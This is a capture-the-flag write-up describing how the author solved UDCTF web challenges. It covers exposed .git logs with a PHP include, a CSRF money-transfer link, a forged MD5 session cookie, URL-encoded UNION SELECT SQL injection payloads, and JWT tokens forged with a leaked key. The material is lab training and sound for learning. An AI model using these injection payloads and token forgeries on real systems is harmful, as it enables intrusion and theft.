Slow starter for me but picked up when the Web Challenges and Speed Runs were published. I got quite a long way through several of the challenges, and ultimately solved them on my own, but I received some hints from MrJ of Porg Pwn Platoon; I knew what I was trying to achieve, but lacked the tools to complete! Many thanks to MrJ as I learned a lot.
Misc
Conway Presents The Falcon
Google “golly rle” to discover the Golly Web App
Import the downloaded file, go to Control and click Start Generating
Wait a while, and the flag will appear:
UDCTF{th3y_c4ll_thems3lves_the_fl4g_smash3rs}
Web
CTFVC
The page is exposed php source code:
<?php
if (isset($_GET['file'])){
$file = $_GET['file'];
if (strpos($file, "..") === false){
include(__DIR__ . $file);
}
}
//Locked down with version control waddup
echo highlight_file(__FILE__, true);
?>
Clue is – version control. Check if the repository is exposed:
http://challenges.ctfd.io:30595/.git/HEAD
Sure enough, repository is exposed. Try looking at the logs:
http://challenges.ctfd.io:30595/.git/logs/HEAD
There is a comment:
commit (initial): not including flag directory 1a2220dd8c13c32e in the version control system
We now know the filename flag.txt and directory; we can push that back to the php file:
http://challenges.ctfd.io:30595/?file=/1a2220dd8c13c32e/flag.txt
Bingo! UDCTF{h4h4_suck3rs_i_t0tally_l0ck3d_th1s_down}
SeeEssAreEff
The clue is in the name – CSRF. The website invites us to create a user; we do so.
We can see the flag is available for purchase, but we don’t have any money.
There’s a money transfer feature, but when we try and transfer money to ourselves, it says the feature isn’t available; only the admins have access.
Let’s make a note of the parameters, however:
http://challenges.ctfd.io:30036/api/transfer.php?to=mrnoobot&amount=1337
This looks like the sort of link we need to send to someone else, to get them to transfer money to us – but we need an admin.
Examine contact page:
Landon is a web admin, and it says he responds to all his messages. Looks like a good target.
This bit caught me for ages: if we click on his Contact button, the “To” field stays blank.
To make matters worse, when the challenge started, you could put Landon Jones or admin in the “To” field and illicit a response to a webhook site.
Eventually, I got a hint to click on one of the other user buttons – seems when you do so their “To” field autopopulates with username format: firstname_lastname.
Now if we send our transfer url to landon_jones, he very kindly clicks it in the background, and credits our account with $1337 – enough to buy the flag! Sorry Landon…..
UDCTF{us1ng_csrf_t0_st34l_4ll_th3_m0n3y}
SPEEDRUN1
Page displays: hello User 2
Implication – there is a “User 1” but attempting a URL suffix /?user=1 fails. Time to dig deeper.
Examine header in Burp: there is a session cookie PHPSESSID=c81e728d9d4c2f636f067f89cc14862c.
Analysing the digest using CyberChef, it could be MD5.
Compare hash value with possibles:
- User 2 : FAIL
- user2: FAIL
- 2: MATCH
Obtain MD5 hash of 1 = c4ca4238a0b923820dcc509a6f75849b
Use Burp to tamper and substitute value of PHPSESSID to c4ca4238a0b923820dcc509a6f75849b
Flag: UDCTF{d0nt_r0ll_your_0wn_s3ssions}
SPEEDRUN2
The site shows us some exposed source code:
<?php
$dbhandle = new PDO("sqlite:../uni.db") or die("Failed to open DB");
if (!$dbhandle) die ($error);
$credits = 3;
if (isset($_GET["credits"])){
$credits = $_GET["credits"];
}
$query = "select * from course where credits=".$credits;
$statement = $dbhandle->prepare($query);
$statement->execute();
$results = $statement->fetchAll(PDO::FETCH_ASSOC);
echo json_encode($results);
echo highlight_file(__FILE__, true);
?>
And also display for the default value of $credits, 3.
[{"course_id":"BIO-399","title":"Computational Biology","dept_name":"Biology","credits":"3"},{"course_id":"CS-315","title":"Robotics","dept_name":"Comp. Sci.","credits":"3"},{"course_id":"CS-319","title":"Image Processing","dept_name":"Comp. Sci.","credits":"3"},{"course_id":"CS-347","title":"Database System Concepts","dept_name":"Comp. Sci.","credits":"3"},{"course_id":"EE-181","title":"Intro. to Digital Systems","dept_name":"Elec. Eng.","credits":"3"},{"course_id":"FIN-201","title":"Investment Banking","dept_name":"Finance","credits":"3"},{"course_id":"HIS-351","title":"World History","dept_name":"History","credits":"3"},{"course_id":"MU-199","title":"Music Video Production","dept_name":"Music","credits":"3"}]
We can deduce a few things from this data: firstly, that the source code is vulnerable to SQL injection using the parameter “credits”.
Secondly, the data returned by the source code query on credits has 4 columns – we need to know this to craft a UNION SELECT query. The following queries are required:
SELECT * FROM course WHERE credits=3 UNION SELECT name, 1, 1, 1 FROM sqlite_master WHERE type = 'table'
Important note: the underlying database seemed really temperamental about syntax, particularly position of spaces and commas.
The “SELECT * FROM course WHERE credits=” is hard coded into the source code. We can URL encode the remainder of the query so that it runs as follows:
http://challenges.ctfd.io:30026/?credits=3%20union%20select%20name,%201,%201,%201%20from%20sqlite_master%20where%20type%20=%20%27table%27
This reveals that there is a table called “flag_xor_shares”. Next query to find columns in the new table:
SELECT * FROM course WHERE credits=3 UNION SELECT sql, 1, 1, 1 FROM sqlite_master WHERE name = 'flag_xor_shares'
URL encoded to run:
http://challenges.ctfd.io:30026/?credits=3%20union%20select%20sql,%201,%201,%201%20from%20sqlite_master%20where%20name%20=%20%27flag_xor_shares%27
This reveals that “flag_xor_shares” has two columns, and ID column (which we don’t need) and one called “hexdigest text” which sounds promising. Next query:
SELECT * FROM course WHERE credits=3 UNION SELECT hexdigest text, 1, 1, 1 FROM flag_xor_shares
URL encoded to run:
http://challenges.ctfd.io:30026/?credits=3%20union%20select%20hexdigest%20text,%201,%201,%201%20from%20flag_xor_shares
This produces a load of interesting data at the top of the screen:
{"course_id":"53e5553b467e4badfcee4d97262445b27cdad3ced69a7fc69e0a04196685a61052cdd2f8a7a9650a0d861707f51403ccebc3","title":"1","dept_name":"1","credits":"1"},{"course_id":"6dbdf9003a3c710afbc92a669f248c6fbe15fc550753264477436a5093614a2efc76310bb7906c911c305a0a39f566c8fc35","title":"1","dept_name":"1","credits":"1"},{"course_id":"7419ccad9d5949e66614cd9458cdac149c2ad981c9f3ec56d30d03e730631c23598394a6055c55ecb5bec49dd0043b9fde76","title":"1","dept_name":"1","credits":"1"},{"course_id":"835db37484676a462e223024a365c91fcdfe53ff975852abfacb79e0f3aef8d5b897a36c6fbfde9ca8e63b3ee00d3a1830f1","title":"1","dept_name":"1","credits":"1"},{"course_id":"9c5890b6230771372122e9352ed1f3a1f644c9d4e451b81cb2f6643a067669972dc6a06617eaf08e539ada9a92b713b09b0c","title":"1","dept_name":"1","credits":"1"},
---SNIP---
These hashes need to be XORed against each other in order from top to bottom and the final result converted from Hex to Ascii characters. The flag is: UDCTF{h0n3stly_we_l1k3_crypt0_a_bit_m0re_th4n_w3b}
The following sites are useful for this challenge:
SPEEDRUN3
The following sites are useful for this challenge:
- Online JSON Web Token Tool
- Hacking JSON Web Tokens – not required to complete challenge
- More Hacking JSON Web Tokens – not required to complete challenge
The challenge asks for a user name; once entered it suggests flag will be displayed if the page is refreshed with admin privilege.
We refresh the page and get:
{"admin":false,"name":"hello"}
Not an admin no flag for you
Intercepting the header in Burp we see there is an authtoken cookie; this is a JSON Web Token.
The token is in three parts – the header, the payload and the signature.
Each is base64 encoded, and the signature encrypts the other two with a secret key to provide signature.
Using the Online JSON Web Token Tool, copy in the value of authtoken and tamper the payload to read admin:true.
The token becomes:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhZG1pbiI6dHJ1ZSwibmFtZSI6ImhlbGxvIn0.7k1MqALSSjn4eIN-mURj7FSmQXT01sMImrgn4M4PCEo
Replace the token in Burp and Send using repeater. We get an error:
<b>Fatal error</b>: Uncaught Error: Class 'Firebase\JWT\SignatureInvalidException' not found in /var/www/html/index.php:123
Stack trace:
#0 /var/www/html/index.php(531): Firebase\JWT\JWT::decode('eyJ0eXAiOiJKV1Q...', '82a59879a507', Array)
#1 {main}
thrown in <b>/var/www/html/index.php</b> on line <b>123</b><br />
reading through the error, it seems the key is exposed! The key is 82a59879a507
Use the secret to sign the token in the Online JSON Web Token Tool; the token becomes:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhZG1pbiI6dHJ1ZSwibmFtZSI6ImhlbGxvIn0.UGEcaMTzA4NKVokcb3dtEejHeJsFZIh5XHWhMaYzgs4
Replace the token in Burp and send using repeater. We get the flag: UDCTF{st00p1d_PHP_err0r_mess4ges}
SPEEDRUN4
The following site is useful but not required for this challenge:
Using the Burp inbuilt browser, navigate to the site. We can see some data displayed:
My favorite books:
Fahrenheit 451 by Ray Bradbury
Lord of the Flies by William G. Golding
Animal Farm by George Orwell
Gone With the Wind by Margaret Mitchell
As we forward the intercepts, note that a “websockets” channel is opened, and Web Socket History starts to build.
Clear the WebSocket History, reload the page and start forwarding the intercepts again.
Note one intercept that seems to call data from /books – this looks like it might be what is displayed on the page, and books might be a database of some kind.
It’s now a guess – substitute /books for /flag in Burp before forwarding.
Keep forwarding slowly through the intercepts and within one of the next responses, containing retrieved data, you find the flag UDCTF{l34rn_d4t4b4s3_rul3s}